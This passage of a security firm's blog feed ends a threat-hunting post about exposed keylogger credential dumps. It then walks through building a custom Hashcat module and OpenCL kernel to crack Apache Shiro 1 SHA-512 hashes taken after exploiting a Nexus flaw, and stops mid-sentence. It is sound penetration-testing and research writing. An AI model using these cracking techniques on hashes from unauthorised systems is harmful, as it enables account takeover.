src="https://cdn-images-1.medium.com/max/1024/1*o9-TFrpdbtKE-PjQS58PHw.png" /><figcaption>.ldb Table View</figcaption></figure><p>From the data view of the `logins` table we can see the output from an advanced rat/keylogger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dk-2DK_WuWeJSy2Za038mA.png" /><figcaption>.ldb logins data</figcaption></figure><p>Within each entry, the <em>password_element</em> contains a BLOB, wherein lies the harvested credentials. The<em>.ldb</em> file reviewed for this example contained ten unique credentials for popular services, to include personal email, banking, school, and small business email credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mdi1HDbFBKRmqPN-sC5dbg.png" /><figcaption>BLOB from logins data</figcaption></figure><p>At this point, it’s hard to believe what I’ve stumbled upon. By my count, the server contained roughly 2,400 entries. Of the initial four servers provided by Censys, two had empty open directories. The remaining server appeared to be a backup of this entire corpus. Going forward, security practitioners should monitor for suspicious processes invoking <em>dxdiag.exe</em> directly or creating files with <em>.cdb</em> or <em>.ldb</em> extensions as indicators of compromise.</p><h4>Next Time</h4><p>I plan on scouring VirusTotal in hopes of finding a <a href="https://www.virustotal.com/gui/file/44cf4321c138c4cacecc95deba735f508c96049e7f0e8f0538684dc4f0c1e9a5/detection">sample</a> of the Trojan that generated the observed databases. Preliminary research revealed a single sample flagged as “Barys,” which communicates with the exposed endpoint. The <a href="https://know.netenrich.com/threatintel/malware/Barys">Barys</a> malware is classified as a Trojan Downloader, designed to allow its operators to download and upload files to a victim’s computer without detection. It features some interesting capabilities, such as leveraging the Dropbox online file storage service. Barys may be distributed via spam campaigns or bundled with free program installers promoted on suspicious websites.</p><h3>Summary</h3><p>In summary, I demonstrated how Censys can effectively assist with hunting and analysis. I showcased the power of searching by ASN and provided a brief introduction to hunting for open directories. As a result of my investigation, I reached out to <a href="https://attack.mitre.org/techniques/enterprise/">MITRE</a> to suggest adding <em>dxdiag.exe</em> to the following tactics: T1007 System Service Discovery, T1082 System Information Discovery, and T1120 Peripheral Device Discovery.</p><h4><strong>Disclaimer</strong></h4><p>Before engaging in similar research, I advise any threat hunter or researcher to review the U.S. Department of Justice’s report, <em>“</em><a href="https://www.justice.gov/criminal/criminal-ccips/page/file/1252341/dl"><em>Legal Considerations When Gathering Online Cyber Threat Intelligence and Purchasing Data from Illicit Sources</em></a><em>.”</em> The report emphasizes the importance of understanding and adhering to legal obligations while conducting cyber threat intelligence operations and encourages careful consideration before taking actions that could potentially support criminal activities or violate legal norms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*Xg6snpCpwDZKkiok.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab22989c1619" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maverislabs/open-for-business-how-open-directories-expose-bulletproof-hosting-operations-ab22989c1619">Open for Business: How Open Directories Expose Bulletproof Hosting Operations</a> was originally published in <a href="https://medium.com/maverislabs">Maveris Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crack Faster, Hack Smarter]]></title>
            <link>https://medium.com/maverislabs/crack-faster-hack-smarter-c0c4defbcae7?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/c0c4defbcae7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[apache-shiro]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[sha512]]></category>
            <category><![CDATA[cracking-hashes]]></category>
            <dc:creator><![CDATA[Dylan Evans]]></dc:creator>
            <pubDate>Mon, 24 Jun 2024 17:59:59 GMT</pubDate>
            <atom:updated>2024-06-24T18:08:29.484Z</atom:updated>
            <content:encoded><![CDATA[<h3>Crack Faster, Hack Smarter: Custom Hashcat Module for Apache Shiro 1 SHA-512</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Dn1yk9bSTbZclOIbFImXGw.png" /></figure><h3>Introduction</h3><p>During a recent assessment, we identified a server running Nexus Repository 3 that was vulnerable to CVE-2024–4956. This led to us pillaging data from the system and ultimately extracting Apache Shiro 1 SHA-512 password hashes to the web application from this data. Apache Shiro’s version 1 SHA-512 hashing implementation involves salting the input data with a secure, randomly generated value and performing the hash operation iteratively (typically thousands of times) to enhance security against brute-force attacks. In simpler terms, it is a salted, iterated SHA-512 hashing mechanism. In this post, I’ll describe the steps taken to identify the hashing algorithm and how I created a Hashcat module capable of cracking it. This will guide you through the process of creating a custom module to effectively crack these hashes.</p><h3>Sonatype Repository 3</h3><p>Before we continue, it’s important to note that the Apache Shiro 1 SHA-512 algorithm is used by Sonatype Repository 3 to hash user credentials for the web application database, as of the time of writing. Since there is a public mirror of the code base available on GitHub, it is possible to view exactly how the application hashes credentials. You can clone the repository from the following <a href="https://github.com/sonatype/nexus-public">URL</a>. If we clone that repository and do a recursive <strong>grep </strong>command for the text “<strong>shiro.crypto</strong>”, we will get the following results shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5kwiQFGb340xGinKCfLG4A.png" /></figure><p>Out of these results, the file responsible for performing password hashing is <strong>DefaultSecurityPasswordService.java</strong>, which can be accessed <a href="https://github.com/sonatype/nexus-public/blob/main/components/nexus-security/src/main/java/org/sonatype/nexus/security/internal/DefaultSecurityPasswordService.java">here</a>. We can look at the relevant parts of the file below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lChPOk-spiPCfBy7kLYhxA.png" /></figure><p>The key pieces of information to take away here are the hash algorithm (SHA-512), iterations (1024), the constructor for the class, and the <strong>hashPassword</strong> method. We can see in the constructor that the <strong>passwordService</strong> member (of type <strong>PasswordService</strong>) is set to a new instance of the <strong>DefaultPasswordService</strong> class. A new <strong>DefaultHashService</strong> object is created, then configured with the hash algorithm and iterations. The <strong>passwordService</strong> member then calls the <strong>setHashService</strong> method using the <strong>hashService</strong> object. The <strong>hashPassword</strong> method simply calls the <strong>hashPassword</strong> method of the <strong>passwordService</strong> member. The relevant code for the <strong>DefaultPasswordService</strong> class is shown below and can be accessed via the following <a href="https://github.com/apache/shiro/blob/main/core/src/main/java/org/apache/shiro/authc/credential/DefaultPasswordService.java">URL</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*7sD6ZjCfuSAOdz3aJmmvQA.png" /></figure><p>Here we can see the default constructor sets up the class using some defaults, which have been overridden with a custom <strong>HashService</strong> class object previously shown. We can also see the implementation of <strong>hashPassword</strong>, which ultimately ends up calling <strong>computeHash</strong> of the <strong>hashService</strong> member (of type <strong>DefaultHashService</strong>). The implementation for <strong>computeHash</strong> in the <strong>DefaultHashService</strong> class can be seen below and accessed at the following <a href="https://github.com/apache/shiro/blob/main/crypto/hash/src/main/java/org/apache/shiro/crypto/hash/DefaultHashService.java">URL</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*HIJID9ShrsGLBO6jeLB5ZA.png" /></figure><p>We can see there is an attempt to obtain a <strong>HashSpi</strong> object using the algorithm name, which if successful will call the <strong>newHashFactory</strong> method on the object, followed by the <strong>generate</strong> method and return the result. The SHA-512 algorithm will end up creating a new <strong>SimpleHashFactory</strong> and using its <strong>generate</strong> method. The <strong>generate</strong> implementation is shown below and can be accessed at the following <a href="https://github.com/apache/shiro/blob/main/crypto/hash/src/main/java/org/apache/shiro/crypto/hash/SimpleHashProvider.java">URL</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*d9bhJsRytR5dgMRNQujOyQ.png" /></figure><p>The generate method will ultimately end up calling <strong>createSimpleHash</strong>, which creates a new <strong>SimpleHash</strong> class object using the algorithm name, sets the iterations, salt and returns it. The relevant parts of the <strong>SimpleHash</strong> class are shown below and can be accessed here at the following <a href="https://github.com/apache/shiro/blob/main/crypto/hash/src/main/java/org/apache/shiro/crypto/hash/SimpleHash.java">URL</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_QOWfbU7rZ-zqkjxKMzeRQ.png" /></figure><p>We can see the constructor sets the algorithm to be used for future hashing, with the core hashing methods being <strong>setBytes</strong> and <strong>hash</strong>, and <strong>hash</strong> having multiple overloads. The main cryptographic operations involve creating an initial hash using the salt and password bytes, then repeating the hashing process using the previous digest until the iteration count has been reached. Another example of creating an Apache Shiro 1 SHA-512 hash using Java is available in this <a href="https://github.com/fin3ss3g0d/Shiro1Tools">repository</a> and can be seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Bx-BDnroyCRMyBBXM0t3yQ.png" /></figure><h3>Previous Research</h3><p>At the time of our assessment, cracking support was very limited with not much information about cracking the algorithm available on the Internet. Searching the title, body, and comments of all Hashcat issues had no mention of the hashing implementation, almost as if it didn’t exist. We were able to come across one post on the Hashcat forum <a href="https://hashcat.net/forum/thread-5976.html">here</a> from 2016, which seemed to be the only mention of it by anyone associated with Hashcat. It is also discussing a SHA-256 version of Apache Shiro 1, not to be confused with what our research is focused on, which is a SHA-512 implementation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*SpHKImBfoc82dPTqm9nx5g.png" /></figure><p>At first, I found this to be confusing because there are plenty of salted and iterated hashes supported by Hashcat in 2024. Thinking about it further, the only explanation I can think of is that in 2016 at the time of the post, Hashcat did not have the capabilities to crack a salted and iterated hash of this nature. The Hashcat kernel structure in 2024 is actually designed around iterated hashes, forcing an author of a kernel to implement a method in the kernel called <em>loop</em> where the iterated cryptographic work is done.</p><p>Additionally, although there were a couple gists written in <a href="https://gist.github.com/gquere/365cfcceef9ac8d145cc59bbf2c27648">Java</a> and <a href="https://gist.github.com/gquere/8dc40c5a6a900215102e6ac94716b33d">C</a> floating around, the cracking performance left more to be desired as both of these examples run on the CPU.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*I2ReXWF38wX443tWUAZAqQ.png" /></figure><p>Wanting to increase cracking performance by taking advantage of a multiple GPU hash cracking rig as well as Hashcat features such as advanced rule support, this led to the journey of creating a custom Hashcat module for the Apache Shiro 1 hashing implementation.</p><h3>Creating the Hashcat Module</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*LefpJVv02zwI-CfxjWwY8w.png" /></figure><h3>Initial Thoughts</h3><p>Looking at the standalone C cracking implementation, it’s apparent that creating a Hashcat module for this hashing implementation should be straightforward, or at least the core cracking logic was already laid out for me. It is an iterated SHA-512 hash with a salt. Could this be that difficult to crack to the point where Hashcat maintainers decided they wouldn’t create a module altogether? Surely, it couldn’t be, could it? I can think of more computationally demanding algorithms for certain. So, why hadn’t it been done before? Has there never been enough of a need/demand? I never got an answer to these questions throughout this research, but we got the module we wanted so I guess it doesn’t really matter anyways. Looking at some of the Hashcat OpenCL code, there were even libraries for the SHA-512 algorithm. Everything that was needed to create the module was already contained within the repository. My confidence level began to rise for being able to create a working module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0uMUqhJd9x6DDwIG" /></figure><h3>First Steps</h3><p>Before we get started, you can access the module in my Hashcat fork <a href="https://github.com/fin3ss3g0d/hashcat">here</a> with module 12150 (will require building from source) and follow along with code discussion.</p><p>You will notice if you try to research the topic of creating a Hashcat module, not much exists outside of the Hashcat repository itself. I was able to find <a href="https://www.thesubtlety.com/post/how-to-write-a-hashcat-module/">this</a> blog from 2020 which was helpful but did not cover creating an OpenCL kernel from scratch, which was necessary in our case. The Hashcat repository has extremely thorough documentation for creating your own module (also called a plugin by Hashcat developers) available <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md">here</a>, and it is official documentation/advice from the developers themselves. It is a full-blown guide walking you through the entire process of creating your own module and gives you some necessary prerequisite knowledge. Using this guide, if you have the necessary C programming knowledge to implement the algorithm you will be able to create your own module fairly easily. More advice would be to remain patient when you are going on this journey, do not expect instant results on the first day. There is a learning curve associated with this task and you have to learn the lay of the land first before you can have success creating a module. If you study the plugin development guide, it will give you all of the necessary information you need to create your own module.</p><p>Ultimately, we will be creating two files which will be the module C code file and the OpenCL kernel code file. The module C code registers the module with Hashcat itself and handles everything except for the raw cryptographic operations of the algorithm you are trying to implement. The raw cryptographic operations are implemented in the OpenCL kernel file. This is a brief explanation while the plugin development guide goes into much further detail. We will start by covering the module C code.</p><h3>Creating the Module C Code</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0VYyMwOCKiImYeRRGxqohQ.png" /></figure><h4>Background and Beginning of Module</h4><p>The beginning of the module is setting up some necessary configurations that will modify the behavior of the module and will instruct Hashcat how to operate. The beginning of the Apache Shiro 1 module is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BvRQT7wKz7WobaaQWEmwuQ.png" /></figure><p>Every Hashcat module will follow the same structure in the beginning of its code, and each of the methods shown above are mandatory for every module to implement as they provide Hashcat the necessary information it needs to run the module. A module can also implement other methods that aren’t required or shown above. You can find the documentation for each of these methods below:</p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_attack_exec">module_attack_exec</a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_dgst_pos0---module_dgst_pos3">module_dgst_pos0 — module_dgst_pos3</a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_dgst_size">module_dgst_size</a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_hash_category">module_hash_category</a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_hash_name">module_hash_name</a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_kern_type">module_kern_type</a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_opti_type">module_opti_type</a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_opts_type">module_opts_type</a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_salt_type">module_salt_type</a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_st_hash">module_st_hash</a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_st_pass">module_st_pass</a></p><p>Below are some snippets of the documentation for <strong>module_opti_type</strong> and <strong>module_opts_type</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KRHSwtBpLsa24ElcEmjYIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-cAedNJNuO5YDXdDS9Fs7g.png" /></figure><h4>Remaining Methods</h4><p>In order to complete this module, there were only five more methods to implement:</p><p>· <strong>module_tmp_size</strong>: Returns the size of the <strong>tmps</strong> structure</p><p>· <strong>module_pw_max</strong>: Returns a size that is the maximum length for any given password this algorithm produces</p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_hash_decode"><strong>module_hash_decode</strong></a></p><p>· <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#module_hash_encode"><strong>module_hash_encode</strong></a></p><p>· <strong>module_init</strong>: Register all the functions that you have programmed by assigning it to module_ctx, initializing the module</p><h4>The tmps Structure</h4><p>An important structure to explain at this point would be the <strong>tmps</strong> structure, which has a definition of: “<em>void *</em><strong><em>tmps</em></strong><em>: This is the generic context buffer. It is available only in slow hash kernel mode. In slow hash mode you want to read and write this buffer. There is one entry for each work item.“</em> Not to get ahead of ourselves before we talk about the kernel in more depth, but below is more context on the <strong>tmps</strong> structure on the kernel side of things.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xklCniy5l7OTpfduOWXJyQ.png" /></figure><p>We’ll talk more about this structure later as it is a significant part of the module. At this point, we would then begin developing the five methods listed above assuming our mandatory methods are in place. Below is an example of our <strong>tmps</strong> structure along with the implementation for <strong>module_tmp_size </strong>and <strong>module_pw_max</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*uu6DnQp7QZbD3Xw1jvXwTg.png" /></figure><p>We define our <strong>tmps</strong> structure in the module C code and return its size in the <strong>module_tmp_size </strong>method so the kernel knows its size and how large of a buffer to allocate for the structure. The structure can be broken down as follows:</p><p>· <strong>dgst</strong>: Temporary hash digest buffer</p><p>· <strong>out</strong>: Final output hash to use during comparisons</p><h4>The module_hash_decode Method</h4><p>This brings us to the <strong>module_hash_decode </strong>method which can be described as: <em>“The decoder function is the function that is called again and again for every line in your hashfile. We also call this sometimes the hash parser. Here you have to program the logic which decodes the line into its components and then stores them in the standardized data structure which hashcat understands.“</em> The method can be described as accomplishing the following goals shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*yUmtCWrTOMXcdpT0dm82nA.png" /></figure><p>The above might sound like a lot, but in our case it’s really not. The <strong>tokenizer</strong> is a means of extracting the necessary data from each hash string we decode during this method such as the salt and hash bytes. Here’s an example of our <strong>module_hash_decode </strong>method below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*UqRMzMlbsN93JP-5JacZsQ.png" /></figure><p>With the salt, hash, and iteration data extracted during the <strong>tokenizer</strong> phase, we can then prepare the salt and digest buffers as shown below which finishes the method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*IrX-ZG8su3A9vz4lDxOPJQ.png" /></figure><p>At this point, the salt buffer is prepared with the salt bytes and iterations. The digest buffer containing the hash bytes is also prepared which is used in hash comparisons. For example, the kernel will generate a hash based on an entry in a wordlist and compare that hash to this one. If they match, you know you cracked the hash. Be aware that you will need to manually manage endianness throughout this process, hence the byte swap shown above. In this case, we needed to convert the raw buffer bytes to 64-bit integer format for storing the digest. This is how the final digest is stored by the Hashcat crypto library in our case for SHA-512.</p><h4>The module_hash_encode Method</h4><p>The next method implemented in the module is <strong>module_hash_encode </strong>which can be explained as seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*A-MkUCzvFZN96lTSb5PSzw.png" /></figure><p>The implementation is shown below, in this case we could simply use the original hash buffer that was read from the input hash file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*eWuKEhdseDa319thWzsLLg.png" /></figure><h4>Wrapping Things Up</h4><p>The last method to implement was <strong>module_init </strong>which can be explained as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*sr_u5AXhuvuXJw_FxyjDCQ.png" /></figure><p>I won’t show the implementation for our module, but it is straightforward, and you can find plenty of examples throughout the Hashcat source code as every module has it implemented. At this point, we are ready to jump into the kernel code!</p><h3>Creating the Kernel</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*LaeYonFRQVsViVhLzBP-QQ.png" /></figure><p>As previously mentioned, the second file we are required to create is the OpenCL file which is our kernel. Shown below is some introductory information about the kernel from the Hashcat documentation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*CqnyqSkUfCiXTkRpP7V2Kg.png" /></figure><p>Before we continue any further, let’s take a step back for a second and talk about what OpenCL is and what an OpenCL kernel is. We will refer to the overall OpenCL file as a kernel as well as individual methods inside of the file. Hashcat uses OpenCL (Open Computing Language) for its kernels, which are the core components responsible for performing the actual hash computations. The <strong>.cl</strong> file extension indicates OpenCL source files.</p><h4>What is OpenCL?</h4><p>OpenCL is a framework for writing programs that execute across heterogeneous platforms, including CPUs, GPUs, and other processors. It allows developers to write code that can run on different types of hardware, making it versatile for high-performance computing tasks.</p><h4>Kernel Programming in OpenCL</h4><p><strong>C-like Syntax</strong>: The syntax of OpenCL kernels is very similar to the C programming language. This is because OpenCL is based on a subset of ISO C99, with some extensions and restrictions to accommodate the parallel nature of the hardware it targets.</p><p><strong>Parallel Computing</strong>: OpenCL is designed to exploit the parallelism of GPUs and other hardware accelerators. This makes it highly suitable for tasks like hash computation, which can benefit from being parallelized.</p><h4>Components of an OpenCL Program</h4><p><strong>Host Code</strong>: Written in a standard programming language like C or C++, the host code sets up the OpenCL environment, compiles the OpenCL kernel code, and manages data transfer between the host and the device.</p><p><strong>Kernel Code</strong>: Written in OpenCL C, this code runs on the OpenCL-compatible device (such as a GPU). The kernel code is what you see in the <strong>.cl</strong> files.</p><h4>OpenCL Background Summary</h4><p>Before starting this journey, I was a complete noob to OpenCL, so I thought leaving this information here would be beneficial for anybody attempting to go down this path. Since we are trying to create a kernel for the module, it is helpful to know how it works from a technological perspective. Now that we know what we are dealing with, let’s dive into the implementation.</p><h4>Hashcat Kernel Background</h4><p>Shown below is documentation from Hashcat explaining what a slow hash type kernel is, along with information about the three methods you need to implement inside the kernel. This documentation can be accessed <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#kernel-slow-hash-type">here</a>. The Apache Shiro 1 kernel is a slow hash type kernel due to the algorithm being so demanding that the PCI Express Bottleneck is no longer relevant as it is with fast hash types. This is largely due to the fact the hash is iterated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*8-pTtoeGICGlpN1B0m5Fsw.png" /></figure><p>Below is further documentation about the three kernels and the sequence in which you will typically interact with the <strong>tmps</strong> context buffer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KyoLQMXPuIPReW3_keu4Pg.png" /></figure><p>Another important thing to know when developing your kernel is what macro you should use for each of the methods. A list of the macros can be seen below and accessed <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#kernel-parameters">here</a>. The Apache Shiro 1 module will use the <strong>KERN_ATTR_TMPS(t) </strong>macro for all of the kernels since they only use a <strong>tmps</strong> structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*q16Z3WV-ly9foLmyThjSvA.png" /></figure><p>The last important thing you will need to know when developing a kernel are the kernel parameters (documentation link shared above). As discussed previously, OpenCL programs allow data transfer between a host and a device. All of the parameters you see below are accessible to every kernel. A good example of this is how we extracted the salt in the module C code during the <strong>module_hash_decode </strong>method. This ends up going in a buffer called <strong>salt_bufs</strong>. The buffer is then passed to the kernel so the kernel code can interact with the salt. Once we start going through the kernel code for the Apache Shiro 1 module and you see some working examples, these will start to make more sense. A snippet of the kernel parameters Hashcat documentation is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-McogVXE8Rt_8XUgMqUqeA.png" /></figure><p>At this point, now that we understand the structure of a kernel, the three methods that we need to implement and what their purposes are along with some necessary prerequisite knowledge, we are ready to begin developing the kernel.</p><h4>The init Method</h4><p>In order to understand what we need to do in this method, we can refer to the standalone C cracking implementation for inspiration <a href="https://github.com/fin3ss3g0d/Shiro1Tools/blob/main/shiro-crack/shiro1.c">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*nvjRi6M5PiEpoycMNZg0YA.png" /></figure><p>The piece of code highlighted above is what we will ultimately need to replicate in our <strong>init</strong> method of our kernel. This will create an initial SHA-512 hash digest using the salt and password. How we can replicate this in our <strong>init</strong> method of our kernel is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*UWRtK4PUMO-Jqsg5vQHk0A.png" /></figure><p>Let’s break this down a little bit. Firstly, we are using a pre-existing Hashcat helper file for SHA-512 (<strong>inc_hash_sha512.cl</strong>) which already contains the necessary methods we need for the kernel of this algorithm. This is where all of the <strong>sha512</strong> prefixed methods are coming from as well as the <strong>sha512_ctx_t </strong>structure. Overall, the method should look really similar to the OpenSSL standalone C cracking application. A question you might have is what is going on with the swap methods? In this particular case, we are converting data between 32-bit and 64-bit integer format as required by the algorithm, which really comes down to how the structures and methods for the cryptographic operations want the data. After updating the <strong>sha512_ctx_t </strong>structure with the salt and password, we call <strong>sha512_final </strong>and update the <strong>tmps dgst </strong>and <strong>out</strong> buffers with the resulting hash digest. We are now ready to implement the <strong>loop</strong> method.</p><h4>The loop Method</h4><p>As shown earlier, this method is where the iterative cryptographic work will take place since this is an iterated hash algorithm. In this case, we will continue creating a new hash based on the previous hash value until the iteration count is reached. The code highlighted from the standalone C cracking application can be used as inspiration for what we will need to implement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*mUuTT1d3nF_z--3NaNdhww.png" /></figure><p>The relevant portions of the implementation for the kernel loop method are shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*NR6BqSL2Kyh_RS-a58DAyA.png" /></figure><p>In the beginning of the method, we convert our hash digest contained in the <strong>tmps dgst </strong>buffer from <strong>u64</strong> to <strong>u32</strong>. This is because the <strong>sha512_update </strong>method is expecting our data to be in <strong>u32</strong> format and if we try to use the <strong>u64</strong> data by performing a simple cast, we will produce inaccurate hashes due to the cryptographic operations being performed on data which is not in the expected endianness. We then perform the hashing loop, similarly to the standalone C cracking example. In this case, <strong>LOOP_CNT</strong> instructs the method how many times to perform the iterative cryptographic operations. Once <strong>LOOP_CNT</strong> equals the total number of times the hash was supposed to be iterated, the <strong>comp</strong> method will be called. At the end of the method, we update the <strong>out </strong>buffer of <strong>tmps</strong> with the last generated digest which will be used for the comparison in the <strong>comp</strong> method.</p><h4>The comp Method</h4><p>This method performs the hash comparison logic, which will essentially check to see if the produced hash from the kernel matches the target hash digest we are trying to crack. The standalone C cracking example simply used <strong>memcmp</strong> to check and see if the target digest buffer equaled the generated hash buffer. Hashcat has a much more sophisticated way of performing hash comparison which utilizes a bloom filter and an additional binary tree search. An explanation of this can be seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-uTst6s2MOl5fql5sBMzDA.png" /></figure><p>As mentioned above, we will follow suit on how to use the <strong>COMPARE_M</strong> macro. We will assign the final digest to <strong>r0</strong> — <strong>r3</strong> which needs to be in <strong>u32</strong> format, then call the <strong>#include</strong> <strong>COMPARE_M</strong> macro. The Apache Shiro 1 <strong>comp</strong> kernel is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*8erAQjT3-JhjjMPjgnFmEQ.png" /></figure><p>As you can see, we convert the final digest contained in <strong>out </strong>of <strong>tmps</strong> to <strong>u32</strong> (or as much of it as can fit in the four comparison variables) and then call the <strong>COMPARE_M</strong> macro which will do the bloom filter comparison along with an additional binary tree search for<em> light speed</em> comparisons. At this point, we are done creating the kernel and the module and it is ready for use!</p><h3>Testing the Module</h3><h4>Test Suite Background</h4><p>Once we have our module kernel and C code put together and we believe we are ready to test it, Hashcat comes with its own testing mechanism called the Test Suite. A snippet of the <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#test-suite">documentation</a> for the Test Suite can be seen below. The Test Suite is explained in detail at the provided link, but the idea is to provide a way to ensure that a module is working correctly (both the C code and OpenCL kernel).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*rnQDV7UUpLlEeuTRNAWuCg.png" /></figure><p>This is done by using a higher-level programming language, in this case Perl, to perform the cryptographic operations. The Test Suite can either test cracking data generated by the test module with the low-level module or verify that the reported cracked data from the low-level module is accurate. While everyone has a different level of knowledge when it comes to cryptography and programming, cryptographic implementations between two programming languages are the same. This means that although the code will look different due to the different syntax of the programming languages, the actual cryptographic operations on the data will remain the same.</p><p>Why is this a good testing strategy? If we can verify that we can crack data generated by the Perl test module, it is highly likely that our cryptographic operations in our kernel are accurate and true to the algorithm. Additionally, we can conclude that our methods in the module C code are working as expected, providing a way to test the entire module.</p><p>Before we continue, let’s discuss the test scripts which automate the testing process. Throughout this process, you are going to be working closely with two scripts which are <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#testpl"><strong>test.pl</strong></a> and <a href="https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md#testsh"><strong>test.sh</strong></a>. The <strong>test.sh </strong>script<strong> </strong>comes with different command line arguments that allow you to change the behavior of testing and automates most of the testing process by executing Hashcat commands generated by <strong>test.pl</strong>. You can think of it as a wrapper around <strong>test.pl</strong>. Everything except <strong>verify </strong>tests will be automated by <strong>test.sh</strong>.</p><h4>Perl Test Module Development</h4><p>As you can see in the screenshot above, there are three methods our test module must implement and they are <strong>module_constraints</strong>, <strong>module_generate_hash</strong>, and <strong>module_verify_hash</strong>. There is more <a href="https://github.com/hashcat/hashcat/blob/master/tools/test_modules/README.md">documentation</a> for test modules and an explanation of these methods is provided below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*i3p-ei8aCJmdrh9TUj4xvA.png" /></figure><p>As you can see, this documentation provides links to various Perl modules that you can look at as examples. I encourage you to try to find a module that is closest to the module you are trying to create as that will contain the most relevant example code. The <strong>module_constraints</strong> to <strong>module_generate_hash</strong> implementations for our module can be seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_aZAnKDOTdRfqSTm0QHAeg.png" /></figure><p>As shown above, <strong>module_constraints</strong> returns the minimum and maximum length for a password hashed using this algorithm as well as the size for generated salts, which is 16 bytes. Also 